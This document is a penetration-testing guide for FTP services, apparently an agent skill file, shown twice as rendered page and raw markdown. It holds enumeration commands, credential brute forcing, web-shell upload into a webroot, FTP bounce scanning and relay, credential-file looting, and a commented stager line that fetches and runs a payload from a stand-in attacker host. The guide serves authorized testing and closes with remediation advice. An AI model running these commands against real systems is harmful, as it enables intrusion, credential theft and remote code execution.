Pentesting FTP (port 21)
When to Use
- Default port
21/tcp (control), data on 20 (active) or negotiated high ports (passive); FileZilla admin on 14147; FTPS may use 990.
- When
nmap/banner shows ftp, vsFTPd, ProFTPD, Pure-FTPd, FileZilla Server, or a 220 greeting.
- FTP is plain-text and uses
0x0d 0x0a (CRLF) line endings, so telnet/nc -C work for manual interaction and the protocol can be abused for relay attacks.
Quick Enumeration
# Banner grab (plaintext)
nc -vn <IP> 21
telnet -n <IP> 21
# Grab TLS certificate if FTPS/AUTH TLS is offered
openssl s_client -connect <IP>:21 -starttls ftp
# Version + default scripts (runs ftp-anon, ftp-bounce, etc.)
sudo nmap -sV -p21 -sC -A <IP>
nmap --script ftp-* -p 21 <IP>
# Server capability/feature enumeration once connected
# HELP -> supported commands
# FEAT -> advertised features (AUTH TLS, MLST, REST STREAM, UTF8...)
# STAT -> version, configs, status
# SYST -> OS type
Critical: Checks Most Often Missed
- Anonymous login — the #1 miss. Try
anonymous:anonymous, anonymous:<empty>, and ftp:ftp.
- Default service-account creds — check
ftp-betterdefaultpasslist.txt from SecLists. XAMPP/ProFTPD often map FTP root to /opt/lampp/htdocs, so weak creds on daemon/nobody let you upload a PHP web shell straight into the webroot.
- How to CONFIRM: log in,
PUT shell.php, then request http://<IP>/shell.php?cmd=id.
- FTP bounce (PORT/EPRT) — the server can be told to open connections to arbitrary hosts/ports, enabling internal port scanning or protocol relay.
- How to CONFIRM:
nmap -b anonymous:anonymous@<IP> -p- <internal_target> or nmap --script ftp-bounce -p21 <IP>.
- Writable anonymous upload —
anon_upload_enable=YES / write_enable=YES in vsftpd allows STOR/MKD by anonymous users.
- How to CONFIRM:
ftp> put /tmp/test.txt succeeds.
- Notable CVEs / surfaces to triage: ProFTPD mod_copy
SITE CPFR/CPTO (CVE-2015-3306), vsFTPd 2.3.4 backdoor, BisonWare/Colorado/TitanFTP directory traversal (covered by the consoleless msf chain below).
Workflow
Step 1: Enumerate (version, config, capabilities)
sudo nmap -sV -p21 -sC <IP>
nc -vn <IP> 21
# After connecting, enumerate:
# HELP ; FEAT ; STAT ; SYST
# Consoleless metasploit enumeration (version + anon + traversal modules)
msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS <IP>; set RPORT 21; run; exit'
msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS <IP>; set RPORT 21; run; exit'
Step 2: Authenticate (anonymous, default, brute force)
# Anonymous
ftp <IP> # anonymous / anonymous
ftp> binary # set binary transfer
ftp> ls -a # include hidden files
ftp> bye
# Browser / wget mirror
wget -m ftp://anonymous:anonymous@<IP> # mirror all (passive)
wget -m --no-passive ftp://anonymous:anonymous@<IP> # mirror if PASV disabled
wget -r --user="USER" --password="PASS" ftp://<IP>/ # creds with special chars
# Brute force (need a username; default lists in SecLists)
hydra -t 1 -l <Username> -P /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -vV <IP> ftp
medusa -h <IP> -u <Username> -P passwords.txt -M ftp
Step 3: Exploit / Extract (download, upload, bounce, relay)
# lftp with forced FTPS, ignoring cert validation
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect <IP>
lftp <IP>:~> login <user> <pass>
# Upload a webshell when FTP root == webroot
ftp> put shell.php
# Trigger an architecture-aware stager via the shell (example):
# shell.php?dmc=(wget -qO - http://<attacker>/.x/?x=x86 || curl http://<attacker>/.x/?x=x86)
# it fetches a checksum-validated payload, chmod +x, and runs it (falls back to /tmp)
# FTP bounce port scan through the server
nmap -Pn -v -b anonymous:anonymous@<IP> -p 1-1024 127.0.0.1
# Protocol relay (PORT + RETR of a staged request file):
# 1. STOR a text file containing an HTTP/FTP request (lines use 0x0d 0x0a)
# 2. REST X to skip leading bytes you don't want sent
# 3. PORT <target,port> to connect to the arbitrary service
# 4. RETR <file> to push the saved request to that service
Step 4: Post-access / pivot
- Pull
.env, config.php, wp-config.php, SSH keys, and source from accessible directories for credential reuse.
- If FileZilla Server admin (
14147) is reachable via a tunnel, connect with a blank password and create a new FTP user.
- Inspect config files for dangerous settings (see Key Concepts) and use any recovered creds against SSH/SMB/web.
Key Concepts
| Concept |
Description |
| Active FTP |
Server initiates the data connection from port 20 back to the client (PORT N+1); blocked by client firewalls. |
| Passive FTP |
Client initiates data connection to a server-chosen port after PASV; firewall-friendly. |
| Anonymous access |
anonymous/ftp login with no real password; frequently world-readable, sometimes world-writable. |
| FTP bounce |
Abuse of PORT/EPRT to make the server connect elsewhere — internal port scanning and protocol relay. |
| vsFTPd danger settings |
anonymous_enable, anon_upload_enable, anon_mkdir_write_enable, write_enable, no_anon_password in /etc/vsftpd.conf. |
| Webroot mapping |
XAMPP/ProFTPD mapping FTP root to /opt/lampp/htdocs turns an upload into a web shell. |
| Web→FTP injection |
Double-URL-encoded %0d%0a (%250d%250a) sent by a web app to an FTP server enables arbitrary FTP actions. |
Tools & Systems
| Tool |
Purpose |
| nmap NSE |
ftp-anon, ftp-bounce, ftp-syst, ftp-vsftpd-backdoor, ftp-proftpd-backdoor checks (run via --script ftp-*). |
| ftp / lftp / wget |
Interactive client, scriptable FTPS client, recursive mirroring of shares. |
| nc / telnet / openssl s_client |
Banner grab, manual command interaction, FTPS cert grab. |
| hydra / medusa |
Credential brute force against the FTP login. |
| Metasploit |
scanner/ftp/anonymous, scanner/ftp/ftp_version, traversal modules (bison/colorado/titanftp). |
| netexec (nxc) |
nxc ftp <IP> -u users -p passwords for credential spraying. |
| Config files |
ftpusers, ftp.conf, proftpd.conf, /etc/vsftpd.conf reveal access policy. |
Common Scenarios
Scenario 1: Anonymous read leads to source disclosure
nmap --script ftp-anon confirms anonymous login. wget -m ftp://anonymous:anonymous@<IP> mirrors the share, exposing config.php with database credentials that are reused on the web app and SSH.
Scenario 2: Weak service creds → web shell
A ProFTPD/XAMPP host accepts daemon:daemon. FTP root maps to htdocs, so put shell.php lands in the webroot. Browsing shell.php?cmd=id yields RCE as the web user.
Scenario 3: FTP bounce internal scan
An internet-facing FTP server allows PORT. Using nmap -b anonymous:anonymous@<IP> -p- 10.0.0.5, the tester maps an internal host's open ports through the FTP relay, bypassing the perimeter firewall.
Output Format
## FTP Finding
**Service**: FTP
**Port**: 21/tcp (vsFTPd 3.0.3)
**Severity**: High
**Finding**: Anonymous login enabled with writable webroot
**Evidence**:
- nmap ftp-anon: "Anonymous FTP login allowed (FTP code 230)"
- `ftp anonymous@<IP>` -> `put shell.php` succeeded
- http://<IP>/shell.php?cmd=id -> uid=33(www-data)
**Impact**: Unauthenticated file upload to the web root yields remote code execution as the web server user.
**Recommendation**:
1. Disable anonymous access (`anonymous_enable=NO`) unless required.
2. Never map the FTP root to a script-executable web directory.
3. Set `write_enable=NO`/`anon_upload_enable=NO`; enforce strong, unique credentials.
4. Require FTPS (AUTH TLS) and restrict access by source IP.
1---2name: pentesting-ftp3description: Testing FTP services (default port 21, plus FileZilla admin 14147) for anonymous access, default/weak credentials, FTP bounce port scanning and protocol relay, writable webroot uploads, and dangerous vsFTPd/ProFTPD configuration during authorized engagements.4license: Apache-2.05---6
7# Pentesting FTP (port 21)
8
9## When to Use
10- Default port `21/tcp` (control), data on `20` (active) or negotiated high ports (passive); FileZilla admin on `14147`; FTPS may use `990`.
11- When `nmap`/banner shows `ftp`, `vsFTPd`, `ProFTPD`, `Pure-FTPd`, `FileZilla Server`, or a `220` greeting.
12- FTP is **plain-text** and uses `0x0d 0x0a` (CRLF) line endings, so `telnet`/`nc -C` work for manual interaction and the protocol can be abused for relay attacks.
13
14## Quick Enumeration
15```bash
16# Banner grab (plaintext)
17nc -vn <IP> 21
18telnet -n <IP> 21
19
20# Grab TLS certificate if FTPS/AUTH TLS is offered
21openssl s_client -connect <IP>:21 -starttls ftp
22
23# Version + default scripts (runs ftp-anon, ftp-bounce, etc.)
24sudo nmap -sV -p21 -sC -A <IP>
25nmap --script ftp-* -p 21 <IP>
26
27# Server capability/feature enumeration once connected
28# HELP -> supported commands
29# FEAT -> advertised features (AUTH TLS, MLST, REST STREAM, UTF8...)
30# STAT -> version, configs, status
31# SYST -> OS type
32```
33
34## Critical: Checks Most Often Missed
35- **Anonymous login** — the #1 miss. Try `anonymous:anonymous`, `anonymous:<empty>`, and `ftp:ftp`.
36 - How to CONFIRM: `nmap --script ftp-anon -p21 <IP>` reports "Anonymous FTP login allowed", or:
37 ```bash
38 ftp <IP> # user: anonymous pass: anonymous
39 ftp> ls -a # list ALL files including hidden ones
40 ```
41- **Default service-account creds** — check `ftp-betterdefaultpasslist.txt` from SecLists. XAMPP/ProFTPD often map FTP root to `/opt/lampp/htdocs`, so weak creds on `daemon`/`nobody` let you **upload a PHP web shell straight into the webroot**.
42 - How to CONFIRM: log in, `PUT shell.php`, then request `http://<IP>/shell.php?cmd=id`.
43- **FTP bounce (PORT/EPRT)** — the server can be told to open connections to arbitrary hosts/ports, enabling internal port scanning or protocol relay.
44 - How to CONFIRM: `nmap -b anonymous:anonymous@<IP> -p- <internal_target>` or `nmap --script ftp-bounce -p21 <IP>`.
45- **Writable anonymous upload** — `anon_upload_enable=YES` / `write_enable=YES` in vsftpd allows STOR/MKD by anonymous users.
46 - How to CONFIRM: `ftp> put /tmp/test.txt` succeeds.
47- **Notable CVEs / surfaces** to triage: ProFTPD mod_copy `SITE CPFR/CPTO` (CVE-2015-3306), vsFTPd 2.3.4 backdoor, BisonWare/Colorado/TitanFTP directory traversal (covered by the consoleless msf chain below).
48
49## Workflow
50
51### Step 1: Enumerate (version, config, capabilities)
52```bash
53sudo nmap -sV -p21 -sC <IP>
54nc -vn <IP> 21
55# After connecting, enumerate:
56# HELP ; FEAT ; STAT ; SYST
57# Consoleless metasploit enumeration (version + anon + traversal modules)
58msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS <IP>; set RPORT 21; run; exit'
59msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS <IP>; set RPORT 21; run; exit'
60```
61
62### Step 2: Authenticate (anonymous, default, brute force)
63```bash
64# Anonymous
65ftp <IP> # anonymous / anonymous
66ftp> binary # set binary transfer
67ftp> ls -a # include hidden files
68ftp> bye
69
70# Browser / wget mirror
71wget -m ftp://anonymous:anonymous@<IP> # mirror all (passive)
72wget -m --no-passive ftp://anonymous:anonymous@<IP> # mirror if PASV disabled
73wget -r --user="USER" --password="PASS" ftp://<IP>/ # creds with special chars
74
75# Brute force (need a username; default lists in SecLists)
76hydra -t 1 -l <Username> -P /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -vV <IP> ftp
77medusa -h <IP> -u <Username> -P passwords.txt -M ftp
78```
79
80### Step 3: Exploit / Extract (download, upload, bounce, relay)
81```bash
82# lftp with forced FTPS, ignoring cert validation
83lftp
84lftp :~> set ftp:ssl-force true
85lftp :~> set ssl:verify-certificate no
86lftp :~> connect <IP>
87lftp <IP>:~> login <user> <pass>
88
89# Upload a webshell when FTP root == webroot
90ftp> put shell.php
91# Trigger an architecture-aware stager via the shell (example):
92# shell.php?dmc=(wget -qO - http://<attacker>/.x/?x=x86 || curl http://<attacker>/.x/?x=x86)
93# it fetches a checksum-validated payload, chmod +x, and runs it (falls back to /tmp)
94
95# FTP bounce port scan through the server
96nmap -Pn -v -b anonymous:anonymous@<IP> -p 1-1024 127.0.0.1
97
98# Protocol relay (PORT + RETR of a staged request file):
99# 1. STOR a text file containing an HTTP/FTP request (lines use 0x0d 0x0a)
100# 2. REST X to skip leading bytes you don't want sent
101# 3. PORT <target,port> to connect to the arbitrary service
102# 4. RETR <file> to push the saved request to that service
103```
104
105### Step 4: Post-access / pivot
106- Pull `.env`, `config.php`, `wp-config.php`, SSH keys, and source from accessible directories for credential reuse.
107- If FileZilla Server admin (`14147`) is reachable via a tunnel, connect with a blank password and create a new FTP user.
108- Inspect config files for dangerous settings (see Key Concepts) and use any recovered creds against SSH/SMB/web.
109
110## Key Concepts
111| Concept | Description |
112|---------|-------------|
113| **Active FTP** | Server initiates the data connection from port 20 back to the client (`PORT N+1`); blocked by client firewalls. |
114| **Passive FTP** | Client initiates data connection to a server-chosen port after `PASV`; firewall-friendly. |
115| **Anonymous access** | `anonymous`/`ftp` login with no real password; frequently world-readable, sometimes world-writable. |
116| **FTP bounce** | Abuse of `PORT`/`EPRT` to make the server connect elsewhere — internal port scanning and protocol relay. |
117| **vsFTPd danger settings** | `anonymous_enable`, `anon_upload_enable`, `anon_mkdir_write_enable`, `write_enable`, `no_anon_password` in `/etc/vsftpd.conf`. |
118| **Webroot mapping** | XAMPP/ProFTPD mapping FTP root to `/opt/lampp/htdocs` turns an upload into a web shell. |
119| **Web→FTP injection** | Double-URL-encoded `%0d%0a` (`%250d%250a`) sent by a web app to an FTP server enables arbitrary FTP actions. |
120
121## Tools & Systems
122| Tool | Purpose |
123|------|---------|
124| **nmap NSE** | `ftp-anon`, `ftp-bounce`, `ftp-syst`, `ftp-vsftpd-backdoor`, `ftp-proftpd-backdoor` checks (run via `--script ftp-*`). |
125| **ftp / lftp / wget** | Interactive client, scriptable FTPS client, recursive mirroring of shares. |
126| **nc / telnet / openssl s_client** | Banner grab, manual command interaction, FTPS cert grab. |
127| **hydra / medusa** | Credential brute force against the FTP login. |
128| **Metasploit** | `scanner/ftp/anonymous`, `scanner/ftp/ftp_version`, traversal modules (bison/colorado/titanftp). |
129| **netexec (nxc)** | `nxc ftp <IP> -u users -p passwords` for credential spraying. |
130| **Config files** | `ftpusers`, `ftp.conf`, `proftpd.conf`, `/etc/vsftpd.conf` reveal access policy. |
131
132## Common Scenarios
133### Scenario 1: Anonymous read leads to source disclosure
134`nmap --script ftp-anon` confirms anonymous login. `wget -m ftp://anonymous:anonymous@<IP>` mirrors the share, exposing `config.php` with database credentials that are reused on the web app and SSH.
135
136### Scenario 2: Weak service creds → web shell
137A ProFTPD/XAMPP host accepts `daemon:daemon`. FTP root maps to `htdocs`, so `put shell.php` lands in the webroot. Browsing `shell.php?cmd=id` yields RCE as the web user.
138
139### Scenario 3: FTP bounce internal scan
140An internet-facing FTP server allows `PORT`. Using `nmap -b anonymous:anonymous@<IP> -p- 10.0.0.5`, the tester maps an internal host's open ports through the FTP relay, bypassing the perimeter firewall.
141
142## Output Format
143```
144## FTP Finding
145
146**Service**: FTP
147**Port**: 21/tcp (vsFTPd 3.0.3)
148**Severity**: High
149**Finding**: Anonymous login enabled with writable webroot
150**Evidence**:
151 - nmap ftp-anon: "Anonymous FTP login allowed (FTP code 230)"
152 - `ftp anonymous@<IP>` -> `put shell.php` succeeded
153 - http://<IP>/shell.php?cmd=id -> uid=33(www-data)
154**Impact**: Unauthenticated file upload to the web root yields remote code execution as the web server user.
155**Recommendation**:
156 1. Disable anonymous access (`anonymous_enable=NO`) unless required.
157 2. Never map the FTP root to a script-executable web directory.
158 3. Set `write_enable=NO`/`anon_upload_enable=NO`; enforce strong, unique credentials.
159 4. Require FTPS (AUTH TLS) and restrict access by source IP.
160```